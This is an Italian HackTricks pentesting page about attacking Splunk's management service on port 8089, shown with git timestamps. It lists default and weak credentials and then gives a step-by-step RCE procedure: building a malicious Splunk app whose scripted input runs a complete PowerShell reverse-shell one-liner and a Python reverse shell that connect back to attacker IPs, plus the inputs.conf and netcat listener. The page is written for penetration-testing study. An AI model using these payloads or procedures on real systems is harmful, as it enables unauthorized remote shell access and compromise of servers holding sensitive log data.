hacktricks/network-services-pentesting/8089-splunkd.md

140 lines
8.9 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 8089 - Pentesting Splunkd
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-02-03 01:15:34 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
</details>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
## **Informazioni di base**
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Splunk è uno **strumento di analisi dei log** che svolge un ruolo cruciale nella **raccolta, analisi e visualizzazione dei dati**. Sebbene il suo scopo iniziale non fosse quello di essere uno strumento di **SIEM (Security Information and Event Management)**, ha guadagnato popolarità nel campo del **monitoraggio della sicurezza** e dell'**analisi aziendale**.
2020-11-06 00:32:50 +00:00
2024-02-10 13:03:23 +00:00
Le implementazioni di Splunk vengono spesso utilizzate per archiviare **dati sensibili** e possono rappresentare una **fonte preziosa di informazioni** per potenziali attaccanti se riescono a compromettere il sistema.
**Porta predefinita:** 8089
```
2020-11-06 00:32:50 +00:00
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
2022-10-03 00:11:21 +00:00
{% hint style="info" %}
2024-02-10 13:03:23 +00:00
Il server web **Splunk viene eseguito di default sulla porta 8000**.
2022-10-03 00:11:21 +00:00
{% endhint %}
2020-11-06 00:32:50 +00:00
2024-02-10 13:03:23 +00:00
## Enumerazione
2022-10-03 00:11:21 +00:00
2024-02-10 13:03:23 +00:00
### Versione gratuita
2022-10-03 00:11:21 +00:00
2024-02-10 13:03:23 +00:00
La versione di prova di Splunk Enterprise si converte in una **versione gratuita dopo 60 giorni**, che **non richiede autenticazione**. Non è raro che gli amministratori di sistema installino una versione di prova di Splunk per testarla, che viene **successivamente dimenticata**. Questa si convertirà automaticamente nella versione gratuita che non ha alcuna forma di autenticazione, introducendo una falla di sicurezza nell'ambiente. Alcune organizzazioni possono optare per la versione gratuita a causa di vincoli di budget, senza comprendere appieno le implicazioni di non avere alcuna gestione degli utenti/ruoli.
2022-10-03 00:11:21 +00:00
2024-02-10 13:03:23 +00:00
### Credenziali predefinite
2022-10-03 00:11:21 +00:00
2024-02-10 13:03:23 +00:00
Nelle versioni più vecchie di Splunk, le credenziali predefinite sono **`admin:changeme`**, che vengono comodamente visualizzate sulla pagina di accesso.\
Tuttavia, **l'ultima versione di Splunk** imposta **le credenziali** **durante il processo di installazione**. Se le credenziali predefinite non funzionano, vale la pena controllare la presenza di password deboli comuni come `admin`, `Welcome`, `Welcome1`, `Password123`, ecc.
2022-10-03 00:11:21 +00:00
2024-02-10 13:03:23 +00:00
### Ottenere informazioni
2022-10-03 00:11:21 +00:00
2024-02-10 13:03:23 +00:00
Una volta effettuato l'accesso a Splunk, possiamo **esplorare i dati**, eseguire **report**, creare **dashboard**, **installare applicazioni** dalla libreria Splunkbase e installare applicazioni personalizzate.\
È anche possibile eseguire codice: Splunk ha diversi modi di **eseguire codice**, come applicazioni Django lato server, endpoint REST, input scriptati e script di allerta. Un metodo comune per ottenere l'esecuzione remota di codice su un server Splunk è attraverso l'uso di un input scriptato.
2022-10-03 00:11:21 +00:00
2024-02-10 13:03:23 +00:00
Inoltre, poiché Splunk può essere installato su host Windows o Linux, è possibile creare input scriptati per eseguire script Bash, PowerShell o Batch.
2020-11-06 00:32:50 +00:00
2022-05-01 13:25:53 +00:00
### Shodan
2020-11-06 00:32:50 +00:00
* `Splunk build`
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
## RCE
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
### Creare un'applicazione personalizzata
2022-10-03 00:11:21 +00:00
2024-02-10 13:03:23 +00:00
Un'applicazione personalizzata può eseguire **script Python, Batch, Bash o PowerShell**.\
Si noti che **Splunk viene fornito con Python installato**, quindi anche nei sistemi **Windows** sarà possibile eseguire codice Python.
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
È possibile utilizzare [**questo**](https://github.com/0xjpuff/reverse\_shell\_splunk) pacchetto Splunk per aiutarci. La directory **`bin`** in questo repository contiene esempi per [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) e [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Seguiamo questi passaggi passo dopo passo.
2022-10-03 00:11:21 +00:00
2024-02-10 13:03:23 +00:00
Per ottenere questo, prima dobbiamo creare un'applicazione personalizzata Splunk utilizzando la seguente struttura di directory:
2022-10-03 00:11:21 +00:00
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
2024-02-10 13:03:23 +00:00
La directory **`bin`** conterrà gli **script che intendiamo eseguire** (in questo caso, un reverse shell di **PowerShell**), e la directory predefinita avrà il nostro file `inputs.conf`. Il nostro reverse shell sarà un **PowerShell one-liner:**
2022-10-03 00:11:21 +00:00
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
2024-02-10 13:03:23 +00:00
Il file [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) indica a Splunk **quale script eseguire** e qualsiasi altra condizione. Qui impostiamo l'app come abilitata e diciamo a Splunk di eseguire lo script ogni 10 secondi. L'intervallo è sempre in secondi e l'input (script) verrà eseguito solo se questa impostazione è presente.
2022-10-03 00:11:21 +00:00
```shell-session
2024-02-10 13:03:23 +00:00
cat inputs.conf
2022-10-03 00:11:21 +00:00
[script://./bin/rev.py]
2024-02-10 13:03:23 +00:00
disabled = 0
interval = 10
sourcetype = shell
2022-10-03 00:11:21 +00:00
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
2024-02-10 13:03:23 +00:00
Abbiamo bisogno del file `.bat`, che verrà eseguito quando l'applicazione viene distribuita ed eseguirà il comando PowerShell in una sola riga.
2022-10-03 00:11:21 +00:00
2024-02-10 13:03:23 +00:00
Il passo successivo è scegliere `Installa app da file` e caricare l'applicazione.
2022-10-03 00:11:21 +00:00
2022-12-25 19:08:07 +00:00
<figure><img src="../.gitbook/assets/image (4) (5) (1).png" alt=""><figcaption></figcaption></figure>
2022-10-03 00:11:21 +00:00
2024-02-10 13:03:23 +00:00
Prima di caricare l'app personalizzata dannosa, avviamo un listener utilizzando Netcat o [socat](https://linux.die.net/man/1/socat).
2022-10-03 00:11:21 +00:00
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
2024-02-10 13:03:23 +00:00
Nella pagina `Carica app`, fai clic su "Sfoglia", scegli il tarball che abbiamo creato in precedenza e fai clic su "Carica". Non appena **carichiamo l'applicazione**, riceveremo una **shell inversa** poiché lo stato dell'applicazione verrà automaticamente impostato su "Abilitato".
2022-10-03 00:11:21 +00:00
#### Linux
2024-02-10 13:03:23 +00:00
Se stessimo lavorando su un **host Linux**, dovremmo **modificare lo script Python `rev.py`** prima di creare il tarball e caricare l'applicazione malevola personalizzata. Il resto del processo sarebbe lo stesso e otterremmo una connessione di shell inversa sul nostro listener Netcat e saremmo pronti a partire.
2022-10-03 00:11:21 +00:00
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
2024-02-10 13:03:23 +00:00
### RCE e Escalation dei Privilegi
2022-10-03 00:11:21 +00:00
2024-02-10 13:03:23 +00:00
Nella pagina seguente puoi trovare una spiegazione su come sfruttare questo servizio per ottenere l'escalation dei privilegi e la persistenza:
2022-10-03 00:11:21 +00:00
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
2024-02-10 13:03:23 +00:00
## Riferimenti
2022-10-03 00:11:21 +00:00
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-02-03 01:15:34 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>